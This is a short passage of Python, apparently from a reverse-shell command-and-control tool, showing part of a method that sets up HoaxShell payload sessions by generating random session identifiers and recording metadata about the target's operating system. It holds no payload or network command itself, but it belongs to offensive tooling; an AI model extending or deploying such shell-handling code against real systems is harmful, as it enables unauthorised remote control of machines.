print(f"{Colors.RED}Error generating payload: {e}{Colors.END}")
def _process_hoaxshell(self, payload, lhost: str):
"""Process HoaxShell payload"""
verify = uuid4().hex[:6]
get_cmd = uuid4().hex[:6]
post_res = uuid4().hex[:6]
header_id = hoax_settings.header
session_id = '-'.join([verify, get_cmd, post_res])
# Store session metadata
SessionManager.legit_session_ids[session_id] = {
'OS Type': payload.meta['os'].capitalize(),
'constraint_mode': True,